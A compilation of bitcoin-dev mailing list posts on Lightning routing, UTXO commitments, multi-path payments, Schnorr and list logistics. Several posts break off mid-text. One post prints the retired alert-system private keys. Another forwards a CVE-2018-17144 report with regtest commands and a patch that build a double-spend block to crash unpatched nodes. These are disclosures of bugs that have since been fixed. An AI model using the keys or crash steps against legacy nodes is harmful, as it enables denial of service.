to re-read the paper, so thanks for that! Before reading the paper, I
wasn't aware of the concept of coordinate embedding, nor how that could be
leveraged in order to provide sender+receiver privacy in a payment network
using a distance-vector-like routing system. Very cool technique!


After reading the paper again, my current conclusion is that while the
protocol presents some novel traits in the design a routing system for
payment channel based networks, it lends much better to a
closed-membership, credit network, such as Ripple (which is the focus of
the paper).


In Ripple, there are only a handful of gateways, and clients that seek to
interact with the network must chose their gateways *very* carefully,
otherwise consensus faults can occur, violating safety properties of the
network. It would appear that this gateway model nicely translates well to
the concept of landmarks that the protocol is strongly dependant on.
Ideally, each gateway would be a landmark, and as there are a very small
number of gateways within Ripple (as you must be admitted to be a verified
gateway in the network), then parameter L (the total number of landmarks)
is kept small which minimizes routing overhead, the average path-length,
etc.


When we compare Ripple to LN, we find that the two networks are nearly
polar opposites of each other. LN is an open-membership network that
requires zero initial configuration by central administrators(s). It more
closely resembles *debit* network (a series of tubes of money), as the
funds within channels must be pre-committed in order to establish a link
between two nodes, and cannot be increased without an additional on-chain
control transaction (to add or remove funds). Additionally, AFAIK (I'm no
expert on Ripple of course), there's no concept of fees within the
network. While within LN, the fee structure is a critical component of the
inventive for node operators to lift their coins onto this new layer to
provider payment routing services.  Finally, in LN we rely on time-locks
in order to ensure that all transactions are atomic which adds another set
of constraints. Ripple has no such constraint as transfers are based on
bi-lateral trust.


With that said, the primary difference between this protocol is that
currently we utilize a source-routed system which requires the sender to
know "most" of the path to the destination. I say "most" as currently,
it's possible for the receiver of a payment to use a poor man's rendezvous
system to provide the sender with a set of suffix paths form what one can
consider ad-hoc landmarks. The sender can then concatenate these with
their own paths, and construct the Sphinx routing package which encodes
the full route. This itself only gives sender privacy, and the receiver
doesn't know the identity of the sender, but the sender learns the
identity of the receiver.

We have plans to achieve proper sender/receiver privacy by extending our
Sphinx usage to leverage HORNET, such that the payment descriptor (payment
request containing details of the payment) also includes several paths
from rendezvous nodes (Rodrigo's) to the receiver. The rendezvous route
itself will be nested as a further Anonymous Header (AHDR) which includes
the information necessary to complete the onion circuit from Rodrigo to
the receiver. As onion routing is used, only Rodrigo can decrypt the
payload and finalize the route. With such a structure, the only nodes that
need to advertise their channels are nodes which seek to actively serve as
channel routers. All other nodes (phones, laptops, etc), don't need to
advertise their channels to the greater network, reducing the size of the
visible network, and also the storage and validation overhead. This serves
to extend the "scale ceiling" a bit.


My first question is: is it possible to adapt the protocol to allow each
intermediate node to communicate their time lock and fee references to the
sender? Currently, as the full path isn't known ahead of time, the sender
is unable to properly craft the timelocks to ensure safety+atomicity of
the payment. This would mean they don't know what the total timelock
should be on the first outgoing link. Additionally, as they don't know the
total path and the fee schedule of each intermediate node, then once
again, they don't know how much to send on the first out going link. It
would seem that one could extend the probing phase to allow backwards
communication by each intermediate node back to the 

Re: [bitcoin-dev] Protocol-Level Pruning

[Bryan Bishop via bitcoin-dev]

It's not clear to me if you are have looked at the previous UTXO set
commitment proposals.

some utxo set commitment bookmarks (a little old)
http://diyhpl.us/~bryan/irc/bitcoin/utxo-commitments-or-fraud-proofs.stdout.txt

TXO bitfields
http://diyhpl.us/wiki/transcripts/sf-bitcoin-meetup/2017-07-08-bram-cohen-merkle-sets/

delayed TXO commitments
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-May/012715.html

TXO commitments do not need a soft-fork to be useful
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-February/013591.html

rolling UTXO set hashes
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-May/014337.html

lotta other resources available, including source code proposals..

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Miner dilution attack on Bitcoin - is that something plausible?

[Bryan Bishop via bitcoin-dev]

On Mon, Jun 18, 2018 at 3:40 PM, Bram Cohen via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Not sure what you're saying here. The block rate can't be particularly
> increased or decreased in the long run due to the work difficulty
> adjustment getting you roughly back where you started no matter what.
> Someone could DOS the system by producing empty blocks, sure, that's a
> central attack of what can happen when someone does a 51% attack with no
> special countermeasures other than everything that Bitcoin does at its
> core. An attacker or group of attackers could conspire to reduce block
> sizes in order to increase transaction fees, in fact they could do that
> with a miner activated soft fork. That appears both doable and given past
> things which have happened with transaction fees in the past potentially
> lucrative, particularly as block rewards fall in the future. Please don't
> tell the big mining pools about it.
>

Bram, actually I thought the previous discussions determined that less than
51% hashrate would be required for certain soft-hard-forks employing empty
blocks?

I don't have a specific reference:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-February/012377.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-February/012457.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-December/013332.html

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Alert key retirement?

[Bryan Bishop via bitcoin-dev]

Alert key has yet to be disclosed. The alert system itself has been retired
for quite a while now. More information about this can be found here:
https://bitcoin.org/en/alert/2016-11-01-alert-retirement
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-September/013104.html

Recently it was suggested to me that it would be helpful to wait for v0.13
end-of-life before revealing the alert keys.

I am seeking information regarding anyone that has requested final alert
messages for any particular projects that may have copied the bitcoin alert
pubkey.

Thank you.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Alert key disclosure

[Bryan Bishop via bitcoin-dev]

The bitcoin alert keys are disclosed in this email, followed by a
disclosure of various known vulnerabilities in what was once the alert
system. The bitcoin alert system has been completely retired. The
network is not at risk and this warning may be safely ignored if you
do not have an ancient node (running v0.12.x or older) using the
deprecated bitcoin alert system or its public keys.

mainnet public key:
04fc9702847840aaf195de8442ebecedf5b095cdbb9bc716bda9110971b28a49e0ead8564ff0db22209e0374782c093bb899692d524e9d6a6956e7c5ecbcd68284

mainnet private key:
30820113020101042053cdc1e0cfac07f7e1c312768886f4635f6bceebec0887f63a9d37a26a92e6b6a081a53081a2020101302c06072a8648ce3d0101022100fffefc2f300604010004010704410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8022100fffebaaedce6af48a03bbfd25e8cd0364141020101a14403420004fc9702847840aaf195de8442ebecedf5b095cdbb9bc716bda9110971b28a49e0ead8564ff0db22209e0374782c093bb899692d524e9d6a6956e7c5ecbcd68284

testnet public key:
04302390343f91cc401d56d68b123028bf52e5fca1939df127f63c6467cdf9c8e2c14b61104cf817d0b780da337893ecc4aaff1309e536162dabbdb45200ca2b0a

testnet private key:
308201130201010420474d447aa6f46b4f45f67f21180a5de2722fc807401c4c4d95fdae64b3d6c294a081a53081a2020101302c06072a8648ce3d0101022100fffefc2f300604010004010704410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8022100fffebaaedce6af48a03bbfd25e8cd0364141020101a14403420004302390343f91cc401d56d68b123028bf52e5fca1939df127f63c6467cdf9c8e2c14b61104cf817d0b780da337893ecc4aaff1309e536162dabbdb45200ca2b0a

These are openssl-serialized private keys.

In 2016, a plan was proposed[1] for the completion of the retirement
of the bitcoin alert system which included the idea of revealing the
alert system private keys. The proposal still contains good
information regarding the purpose and intention of alert system
retirement and motivation for the disclosure of the private keys.
Additionally, an overview of the alert system retirement and its
timeline is available on the web at [2]. This disclosure was recently
discussed in an IRC meeting logs at [3]. A media site also recently
discussed this topic[4].

One of the reasons for disclosure of the keys is to mitigate the
effects of unknown dissemination and proliferation of the keys. By
broadcasting the values to make them available to everyone, the value
of the keys is intended to be to be eliminated, since now everyone
could feasibly sign messages, the value of the signed messages becomes
zero.

[1] 
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-September/013104.html
[2] https://bitcoin.org/en/alert/2016-11-01-alert-retirement
[3] 
http://www.erisian.com.au/meetbot/bitcoin-core-dev/2018/bitcoin-core-dev.2018-06-21-19.00.log.html#l-30
[4] https://www.coindesk.com/long-secret-bitcoin-key-finally-revealed/


# Vulnerabilities in the bitcoin alert system

The following text[5] discloses a number of known vulnerabilities in
the alert system. Writeup contributed by achow101.

[5] https://gist.github.com/achow101/18a2dfc371c421419d494a3ae0447f66

The Alert System previously utilized by Bitcoin has several issues
(some of which may be classified as vulnerabilities). These issues no
longer exist in Bitcoin as of network protocol version 700013 which
was released with Bitcoin Core 0.13.0. Many altcoins and Bitcoin
client implementations were notified of the Alert System's removal and
have since removed the alert system themselves or transitioned to
using an Alert system that does not share an Alert Key with Bitcoin.

All of the issues described below allow an attacker in possession of
the Alert Key to perform a Denial of Service attack on nodes that
still support the Alert system. These issues involve the exhaustion of
memory which causes node software to crash or be killed due to
excessive memory usage.

Many of these issues were not known until the Alert System was removed
as developers inspected the code for vulnerabilities prior to
releasing the Alert Key. Due to these issues, the publication of the
Alert Key was delayed and affected altcoins and software were
notified.

As of this writing, less than 4% of Bitcoin nodes are vulnerable.
Furthermore, the Bitcoin Core developers have created a "final alert"
which is a maximum ID number alert which overrides all previous alerts
and displays a fixed "URGENT: Alert key compromised, upgrade required"
message on all vulnerable software. The Bitcoin Core developers
believe that so few vulnerable nodes are present on the network, and
risks to those nodes so minor, that it is safe to publish the Alert
Key.

An Alert contains these fields:

int32_t nVersion;
int64_t nRelayUntil;  // when 

Re: [bitcoin-dev] Single signature for all transactions in a block?

[Bryan Bishop via bitcoin-dev]

On Sun, Dec 31, 2017 at 5:39 PM, CANNON via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:
>
> I had a question relating to scaling and privacy enhancements.
> I believe that segwit combined with aggregated signatures
> and coinjoin can potentially achieve such. The idea is to
> use aggregated signatures in conjunction with coinjoin. So
> that all inputs of a coinjoin transaction would have a single
> signature vastly decreasing size while having privacy at the
> same time. If majority of transactions in a block did this I
> assume that significant more transactions could be fit into a
> block?


Here are some resources to read regarding signature aggregation and
scalability:

https://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2017-09-06-signature-aggregation/
https://diyhpl.us/wiki/transcripts/gmaxwell-2017-08-28-deep-dive-bitcoin-core-v0.15/#signature-aggregation
https://diyhpl.us/wiki/transcripts/scalingbitcoin/milan/schnorr-signatures/
https://bitcoincore.org/en/2017/03/23/schnorr-signature-aggregation/
https://bitcointalk.org/index.php?topic=1377298.0
https://bitcoincore.org/logs/2016-05-zurich-meeting-notes.html
https://github.com/sipa/secp256k1/blob/968e2f415a5e764d159ee03e95815ea11460854e/src/modules/schnorr/schnorr.md
https://diyhpl.us/wiki/transcripts/2016-july-bitcoin-developers-miners-meeting/dan-boneh/

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] How accurate are the Bitcoin timestamps?

[Bryan Bishop via bitcoin-dev]

On Mon, Jan 29, 2018 at 7:34 AM, Neiman via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:
>
> But how accurate are Bitcoins timestamps?
>

A perspective on block timestamp and opentimestamps can be found here:
https://lists.w3.org/Archives/Public/public-blockchain/2016Sep/0076.html

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Fwd: [Lightning-dev] AMP: Atomic Multi-Path Payments over Lightning

[Bryan Bishop via bitcoin-dev]

-- Forwarded message --
From: Olaoluwa Osuntokun 
Date: Mon, Feb 5, 2018 at 11:26 PM
Subject: [Lightning-dev] AMP: Atomic Multi-Path Payments over Lightning
To: lightning-dev 


Hi Y'all,

A common question I've seen concerning Lightning is: "I have five $2
channels, is it possible for me to *atomically* send $6 to fulfill a
payment?". The answer to this question is "yes", provided that the receiver
waits to pull all HTLC's until the sum matches their invoice. Typically, one
assumes that the receiver will supply a payment hash, and the sender will
re-use the payment hash for all streams. This has the downside of payment
hash re-use across *multiple* payments (which can already easily be
correlated), and also has a failure mode where if the sender fails to
actually satisfy all the payment flows, then the receiver can still just
pull the monies (and possibly not disperse a service, or w/e).

Conner Fromknecht and I have come up with a way to achieve this over
Lightning while (1) not re-using any payment hashes across all payment
flows, and (2) adding a *strong* guarantee that the receiver won't be paid
until *all* partial payment flows are extended. We call this scheme AMP
(Atomic Multi-path Payments). It can be experimented with on Lightning
*today* with the addition of a new feature bit to gate this new
feature. The beauty of the scheme is that it requires no fundamental changes
to the protocol as is now, as the negotiation is strictly *end-to-end*
between sender and receiver.

TL;DR: we repurpose some unused space in the onion per-hop payload of the
onion blob to signal our protocol (and deliver some protocol-specific data),
then use additive secret sharing to ensure that the receiver can't pull the
payment until they have enough shares to reconstruct the original pre-image.


Protocol Goals
==
1. Atomicity: The logical transaction should either succeed or fail in
entirety. Naturally, this implies that the receiver should not be unable to
settle *any* of the partial payments, until all of them have arrived.

2. Avoid Payment Hash Reuse: The payment preimages validated by the
consensus layer should be distinct for each partial payment.  Primarily,
this helps avoid correlation of the partial payments, and ensures that
malicious intermediaries straddling partial payments cannot steal funds.

3. Order Invariance: The protocol should be forgiving to the order in which
partial payments arrive at the destination, adding robustness in the face of
delays or routing failures.

4. Non-interactive Setup: It should be possible for the sender to perform an
AMP without directly coordinating with the receiving node. Predominantly,
this means that the *sender* is able to determine the number of partial
payments to use for a particular AMP, which makes sense since they will be
the one fronting the fees for the cost of this parameter. Plus, we can
always turn a non-interactive protocol into an interactive one for the
purposes of invoicing.


Protocol Benefits
=

Sending pay payments predominantly over an AMP-like protocol has several
clear benefits:

  - Eliminates the constraint that a single path from sender to receiver
with sufficient directional capacity. This reduces the pressure to have
larger channels in order to support larger payment flows. As a result,
the payment graph be very diffused, without sacrificing payment
utility

  - Reduces strain from larger payments on individual paths, and allows the
liquidity imbalances to be more diffuse. We expect this to have a
non-negligible impact on channel longevity. This is due to the fact that
with usage of AMP, payment flows are typically *smaller* meaning that
each payment will unbalance a channel to a lesser degree that
with one giant flow.

  - Potential fee savings for larger payments, contingent on there being a
super-linear component to routed fees. It's possible that with
modifications to the fee schedule, it's actually *cheaper* to send
payments over multiple flows rather than one giant flow.

  - Allows for logical payments larger than the current maximum value of an
individual payment. Atm we have a (temporarily) limit on the max payment
size. With AMP, this can be side stepped as each flow can be up the max
size, with the sum of all flows exceeding the max.

  - Given sufficient path diversity, AMPs may improve the privacy of LN
Intermediaries are now unaware to how much of the total payment they are
forwarding, or even if they are forwarding a partial payment at all.

  - Using smaller payments increases the set of possible paths a partial
payment could have taken, which reduces the effectiveness of static
analysis techniques involving channel capacities and the plaintext
values being forwarded.


Protocol Overview
==
This design can be seen as a generalization 

[bitcoin-dev] Fwd: [Lightning-dev] Post-Schnorr lightning txes

[Bryan Bishop via bitcoin-dev]

-- Forwarded message --
From: Anthony Towns 
Date: Mon, Feb 19, 2018 at 4:59 PM
Subject: [Lightning-dev] Post-Schnorr lightning txes
To: lightning-...@lists.linuxfoundation.org


Hi *,

My understanding of lightning may be out of date, so please forgive
(or at least correct :) any errors on my behalf.

I was thinking about whether Greg Maxwell's graftroot might solve the
channel monitoring problem (spoiler: not really) and ended up with maybe
an interesting take on Schnorr. I don't think I've seen any specific
writeup of what that might look like, so hopefully at least some of this
is novel!

I'm assuming familiarity with current thinking on Schnorr sigs -- but all
you should need to know is the quick summary at footnote [0].

So I think there's four main scenarios for closing a lightning channel:

 - both parties are happy to close, do so cooperatively, and can
   sign a new unconditional transaction that they agree on. already fine.
   (should happen almost all of the time, call it 80%)

 - communications failure: one side has to close, but the other side
   is happy to cooperate as far as they're able but can only do so via
   the blockchain and maybe with some delay (maybe 15% of the time)

 - disappearance, uncooperative: one side effectively completely
   disappears so the other side has to fully close the channel on their
   own (5% of the time)

 - misbehaviour: one side tries publishing an old channel state due to
   error or maliciousness, and the other collects the entire balance as
   penalty (0% of the time)

With "graftroot" in mind, I was thinking that optimising for the last
case might be interesting -- despite expecting it to be vanishingly
rare. That would have to look something like:

   (0) funding tx
   (1) ...which is spent by a misbehaving commitment tx
   (2) ...which is spent by a penalty tx

You do need 3 txes for that case, but you really only need 1 output
for each: so (0) is 2-in-1-out, (1) is 1-in-1-out, (2) is 1-in-1-out;
which could all be relatively cheap. (And (2) could be batched with other
txes making it 1 input in a potentially large tx)

For concreteness, I'm going to treat A as the one doing the penalising,
and B (Bad?) as the one that's misbehaving.

If you treat each of those txes as a muSig Schnorr pay-to-pubkey, the
output addresses would be:

   (0) funding tx pays to [A,B]
   (1) commitment tx pays to [A(i),Revocation(B,i)]
   (2) pays to A

(where i is a commitment id / counter for the channel state)

If B misbehaves by posting the commitment tx after revealing the
revocation secret, A can calculate A(i) and Revocation(B,i) and claim
all the funds immediately.

As far as the other cases go:

  - In a cooperative close, you don't publish any commitment txes, you
just spend the funding to each party's preferred destinations
directly; so this is already great.

  - Otherwise, you need to be able to actually commit to how the funds
get distributed.

But committing to distributing funds is easy: just jointly sign
a transaction with [A(i),Revocation(B,i)]. Since B is the one we're
worrying about misbehaving, it needs to hold a transaction with the
appropriate outputs that is:

  - timelocked to `to_self_delay` blocks/seconds in advance via nSequence
  - signed by A(i)

That ensures A has `to_self_delay` blocks/seconds to penalise misehaviour,
and that when closing properly, B can complete the signature using the
current revocation secret.

This means the "appropriate outputs" no longer need the OP_CSV step, which
should simplify the scripts a bit.

Having B have a distribution transaction isn't enough -- B could vanish
between publishing the commitment transaction and the distribution
transaction, leaving A without access to any funds. So A needs a
corresponding distribution transaction. But because that transaction can
only be published if B signs and publishes the corresponding commitment
transaction, the fact that it's published indicates both A and B are
happy with the channel close -- so this is a semi-cooperative close and
no delay is needed. So A should hold a partially signed transaction with
the same outputs:

  - without any timelock
  - signed by Revocation(B,i), waiting for signature by A(i)

Thus, if B does a non-cooperative close, either:

  - A proves misbehaviour and claims all the funds immediately
  - A agrees that the channel state is correct, signs and publishes
the un-timelocked distribution transaction, then claims A's outputs;
B can then immediately claim its outputs
  - A does nothing, and B waits for the `to_self_delay` period, signs
and publishes its transaction, then claims B's outputs; A can eventually
claim its own outputs

In that case all of the transactions except the in-flight HTLCs just look
like simple pay-to-pubkey transactions.

Further, other than the historical secrets no old information needs
to be retained: misbehaviour can be dealt with (and can only be dealt

[bitcoin-dev] CVE-2018-17144 disclosure (inflation vulnerability) (copy-paste)

[Bryan Bishop via bitcoin-dev]

It has been informed to me that the writeup for the recent
vulnerability was not distributed to this mailing list. Please find
details at the following blog post:

https://bitcoincore.org/en/2018/09/20/notice/

I believe a release notice was posted but not information about the bug,
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2018-September/016413.html
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2018-September/016414.html

There was also further discussion here:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2018-September/016424.html

Also, around the time those emails were sent, there was a mailing list
moderator queue bug and nobody was able to approve emails including
myself. This bug was subsequently resolved by Linux Foundation.

The remainder of this email is copy-paste from the bitcoincore.org
page linked above.

=== Full disclosure ===

CVE-2018-17144, a fix for which was released on September 18th in
Bitcoin Core versions 0.16.3 and 0.17.0rc4, includes both a Denial of
Service component and a critical inflation vulnerability. It was
originally reported to several developers working on Bitcoin Core, as
well as projects supporting other cryptocurrencies, including ABC and
Unlimited on September 17th as a Denial of Service bug only, however
we quickly determined that the issue was also an inflation
vulnerability with the same root cause and fix.

In order to encourage rapid upgrades, the decision was made to
immediately patch and disclose the less serious Denial of Service
vulnerability, concurrently with reaching out to miners, businesses,
and other affected systems while delaying publication of the full
issue to give times for systems to upgrade. On September 20th a post
in a public forum reported the full impact and although it was quickly
retracted the claim was further circulated.

At this time we believe over half of the Bitcoin hashrate has upgraded
to patched nodes. We are unaware of any attempts to exploit this
vulnerability.

However, it still remains critical that affected users upgrade and
apply the latest patches to ensure no possibility of large
reorganizations, mining of invalid blocks, or acceptance of invalid
transactions occurs.

=== Technical details ===

In Bitcoin Core 0.14, an optimization was added (Bitcoin Core PR
#9049) which avoided a costly check during initial pre-relay block
validation that multiple inputs within a single transaction did not
spend the same input twice which was added in 2012 (PR #443). While
the UTXO-updating logic has sufficient knowledge to check that such a
condition is not violated in 0.14 it only did so in a sanity check
assertion and not with full error handling (it did, however, fully
handle this case twice in prior to 0.8).

Thus, in Bitcoin Core 0.14.X, any attempts to double-spend a
transaction output within a single transaction inside of a block will
result in an assertion failure and a crash, as was originally
reported.

In Bitcoin Core 0.15, as a part of a larger redesign to simplify
unspent transaction output tracking and correct a resource exhaustion
attack the assertion was changed subtly. Instead of asserting that the
output being marked spent was previously unspent, it only asserts that
it exists.

Thus, in Bitcoin Core 0.15.X, 0.16.0, 0.16.1, and 0.16.2, any attempts
to double-spend a transaction output within a single transaction
inside of a block where the output being spent was created in the same
block, the same assertion failure will occur (as exists in the test
case which was included in the 0.16.3 patch). However, if the output
being double-spent was created in a previous block, an entry will
still remain in the CCoin map with the DIRTY flag set and having been
marked as spent, resulting in no such assertion. This could allow a
miner to inflate the supply of Bitcoin as they would be then able to
claim the value being spent twice.

=== Timeline ===

Timeline for September 17, 2018: (all times UTC)

14:57 anonymous reporter reports crash bug to: Pieter Wuille, Greg
Maxwell, Wladimir Van Der Laan of Bitcoin Core, deadalnix of Bitcoin
ABC, and sickpig of Bitcoin Unlimited.
15:15 Greg Maxwell shares the original report with Cory Fields, Suhas
Daftuar, Alex Morcos and Matt Corallo
17:47 Matt Corallo identifies inflation bug
19:15 Matt Corallo first tries to reach slushpool CEO to have a line
of communication open to apply a patch quickly
19:29 Greg Maxwell timestamps the hash of a test-case which
demonstrates the inflation vulnerability
(a47344b7dceddff6c6cc1c7e97f1588d99e6dba706011b6ccc2e615b88fe4350)
20:15 John Newbery and James O’Beirne are informed of the
vulnerability so they can assist in alerting companies to a pending
patch for a DoS vulnerability
20:30 Matt Corallo speaks with slushpool CTO and CEO and shares patch
with disclosure of the Denial of Service
20:48 slushpool confirmed upgraded
21:08 Alert was sent to Bitcoin ABC that a patch will be posted
publicly by 22:00
21:30 (approx) 

[bitcoin-dev] Fwd: [bitcoin-core-dev] On the initial notice of CVE-2018-17144

[Bryan Bishop via bitcoin-dev]

-- Forwarded message --
From: Gregory Maxwell via bitcoin-core-dev <
bitcoin-core-...@lists.linuxfoundation.org>
Date: Sat, Sep 22, 2018 at 12:12 PM
Subject: [bitcoin-core-dev] On the initial notice of CVE-2018-17144
To: bitcoin-core-...@lists.linuxfoundation.org


For some reason I don't understand, Andrea Suisani is stating on
twitter that the the report by awemany was a report of an inflation
bug, contrary to the timeline we published.   This is not the case:
the report specifically stated that inflation was not possible because
the node crashed. It also described a reproduction of the crash, but
not of inflation.

I generally understand how someone could be confused about what a
report they hadn't seen said, but I'm confused in this case because
Andrea Suisani was copied on the report to us. So I'm not sure what is
up with that, perhaps the message got lost in email.  If the reporter
knew the bug permitted inflation, they still specifically reported
otherwise to us.

Since people are also expressing doubt that awemany was actually the
author of the report, I'll include it here in its entity to aid
people's validation of the claim(s). There is a better test for the
crash issue include in master branch of the Bitcoin repository, the
reporter's reproduction instructions here are only included for
completeness.

Cheers,


Date: Mon, 17 Sep 2018 14:57:46 +
To: Pieter Wuille , deadalnix
, Andrea Suisani , Gregory
Maxwell , "Wladimir J. van der Laan"

From: beardnboobies 
Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core

Dear Bitcoiners,

Please find attached an encrypted description of a crashing zero day
exploit for Bitcoin Core as well as Bitcoin ABC. This has not been
reproduced for Bitcoin Unlimited, though for advisory reasons, I am
sending it to one of their members that I could find a PGP key for as
well.

Please forward this to any party who might have a valid interest,
including Bitcoin miners.

Thank you very much.

===

Problem description:

The following, miner-exploitable zero day has been found in Bitcoin ABC as
well as in Bitcoin Core:

Duplicate inputs are not checked in CheckBlock,
only when they are accepted into the mempool.

This creates a problem insofar as a transaction might bypass
the mempool when it is included in a block, for example if
it is transmitted as an extra transaction along with a compact
block.

A later assertion assert(is_spent) in SpendCoins (in validation.cpp)
seems to prevent the worse outcome of monetary inflation by
the comparatively better result of crashing the node.

To reproduce (Description is for Bitcoin ABC, but applies similarly to
Bitcoin Core):

Create one instance of ABC bitcoind without the patch below
applied (A) and create on instance of ABC with the patch applied (B).
The patch removes sending of transactions and testing for double-spent
inputs for the attacker node.

Run both in regtest mode and point them to different data directories,
like so and connect them together:
A: ./bitcoind -regtest -rpcport=15000 -listen -debug -datadir=/tmp/abc.1
B: ./bitcoind -regtest -rpcport=15001 -connect=localhost -debug
-datadir=/tmp/abc.2

Now on the prepared attacker node B, create a bunch of blocks and a
transaction
that double-spends its input, like  so for example:

> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 generate 200

> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 getnewaddress


> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendtoaddress



> ./bitcoin-tx -regtest -create in=:
in=: outaddr=99.9:


The double entry of the input here is not a typo. This is the desired
double-spend.

Sign the resulting transaction hex like so:

> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
signrawtransaction 


For Core, this step needs to be adapted to signrawtransactionwithkey.
And send the result into the small regtest test netwrok:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
sendrawtransaction 

Voila, your node A should have just aborted like this:

bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const
CTransaction&, CTxUndo&, int): Assertion `is_spent' failed.
Aborted (core dumped)

If you like this work or want to pay out a bounty for finding a zero day,
please do so in BCH to this address. Thank you very much in advance.

bitcoincash:qr5yuq3q40u7mxwqz6xvamkfj8tg45wyus7fhqzug5


The patch for ABC:

diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index ee909deb9..ff7942361 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction
,

 // Check for duplicate inputs - note that this check is slow so we
skip it
 // in CheckBlock
-if (fCheckDuplicateInputs) {
+if (0) {
 std::set vInOutPoints;
 for (const auto  : tx.vin) {
 if (!vInOutPoints.insert(txin.prevout).second) {
diff --git 

[bitcoin-dev] Mailing list downtime, archive, and its future

[Bryan Bishop via bitcoin-dev]

Hi all,

Just fyi, but this bitcoin-dev mailing list has been down for a few weeks.
It's currently hosted by Linux Foundation, and they are slowly deprecating
their support for email. We will have to find an alternative service
provider for the mailing list moving forward. I have received a variety of
recommendations for how to move forward.

My one reservation in this process is that I am concerned about the
subscriber list and I am not sure how we want to treat this. I view this as
a possible privacy issue. For example, if we were to migrate to a new
mailing list, it's important that list subscribers are not disclosed. At
the same time, some people rely on this mailing list for important
announcements maybe even security announcements in some situations. I'd
appreciate feedback on what people think about this particular issue. Since
the mailing list is not reliable anymore, please remember to cc the
feedback to me directly.

In the mean time, here is an archive of the mailing list content including
some old timestamps in the opentimestamps format for some of the older
content:
http://diyhpl.us/~bryan/irc/bitcoin/bitcoin-dev/bitcoin-dev-mailing-list-archive-2019-03-05.zip

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Transcripts from coredev.tech Amsterdam 2019 meeting

[Bryan Bishop via bitcoin-dev]

Hi,

The following are some notes from the coredev.tech Amsterdam 2019 meeting.
Any mistakes are my probably my own.

Here is a conversation about the code review process in Bitcoin Core:
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-05-code-review/

Here is a conversation with some of the maintainers about what problems
they are seeing:
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-maintainers/

Wallet re-architecture discussion
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-05-wallet-architecture/

Great consensus cleanup
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-great-consensus-cleanup/

SIGHASH_NOINPUT, OP_CHECKSIGFROMSTACK, OP_CHECKOUTPUTSHASHVERIFY,
OP_SECURETHEBAG
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-noinput-etc/

Taproot discussion
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-taproot/

Utreexo
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-06-utreexo/

assumeutxo
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-assumeutxo/

Hardware wallets and HWI
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-hardware-wallets/

bip151, p2p encryption and v2 message format
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-p2p-encryption/

Signet for bitcoin test networks
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-signet/

Statechains overview
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2019-06-07-statechains/

Thanks,
- Bryan
https://heybryan.org/
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] testnet4

